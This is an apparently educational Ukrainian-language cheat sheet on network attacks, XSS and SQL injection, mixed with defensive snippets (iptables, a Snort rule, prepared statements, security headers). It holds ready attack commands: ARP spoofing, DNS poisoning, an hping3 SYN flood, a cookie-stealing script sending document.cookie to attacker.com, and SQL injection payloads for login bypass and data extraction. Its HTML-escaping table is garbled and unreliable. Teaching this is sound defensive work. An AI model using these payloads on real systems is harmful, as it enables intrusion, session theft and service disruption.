Мережеві атаки спрямовані на компрометацію мережевої інфраструктури, перехоплення трафіку або порушення доступності послуг. Розуміння цих атак дозволяє краще захистити вашу інфраструктуру.
# ARP Spoofing з використанням arpspoof
$ arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
# DNS Poisoning з використанням Ettercap
$ ettercap -T -q -i eth0 -P dns_spoof -M arp // //
# Port Scanning з використанням Nmap
$ nmap -sV -p 1-1000 192.168.1.1
# Перехоплення пакетів з використанням Wireshark (tcpdump)
$ tcpdump -i eth0 -n "tcp port 80"
# SYN Flood DoS-атака
$ hping3 -S --flood -V -p 80 target_ip
# Приклад правила iptables
$ iptables -A INPUT -p tcp --dport 22 -s 192.168.1.0/24 -j ACCEPT
$ iptables -A INPUT -p tcp --dport 22 -j DROP
# Приклад правила для Snort
alert tcp any any -> 192.168.1.0/24 80 (msg:"HTTP Traffic"; sid:1000001; rev:1;)
# Встановлення з'єднання OpenVPN
$ openvpn --config client.ovpn
XSS-атаки дозволяють зловмисникам впроваджувати шкідливий JavaScript-код у веб-сторінки, які переглядають інші користувачі. Це може призвести до викрадення сеансів, перенаправлення та інших зловмисних дій.
// Базовий XSS для виклику alert
<script>alert('XSS');</script>
// XSS з викраденням cookie
<script>
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
// XSS через атрибути подій
<img src="x" onerror="alert('XSS')">
// XSS через URL-параметри (Reflected XSS)
// example.com/search?q=<script>alert('XSS')</script>
// XSS з обходом фільтрів
<img src="javascript:alert('XSS')">
<div onmouseover="alert('XSS')">Наведіть на мене</div>
// Перетворення
& → &
< → <
> → >
" → "
' → '
/ → /
Content-Security-Policy: default-src 'self';
SQL-ін'єкції дозволяють зловмисникам виконувати довільні SQL-запити до бази даних через вразливі точки введення. Ця вразливість може призвести до витоку конфіденційних даних або їх модифікації.
-- Базовий приклад для обходу аутентифікації
username: admin' --
password: (будь-який)
-- Запит, який виконується:
SELECT * FROM users WHERE username='admin' --' AND password='(будь-який)';
-- Отримання даних за допомогою UNION
' UNION SELECT username, password FROM users --
-- Вивід версії бази даних (MySQL)
' UNION SELECT 1, version() --
-- Вивід таблиць бази даних (MySQL)
' UNION SELECT 1, table_name FROM information_schema.tables --
-- Time-based ін'єкція (MySQL)
' OR IF(1=1, SLEEP(5), 0) --
-- Сліпа ін'єкція з BOOLEAN операціями
' OR (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a' --
// PHP приклад
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// Node.js приклад
const stmt = db.prepare("SELECT * FROM users WHERE username = ?");
const user = stmt.get(username);
Access-Control-Allow-Origin: https://trusted-site.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
<input type="hidden" name="csrf_token" value="unique-token-value">
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains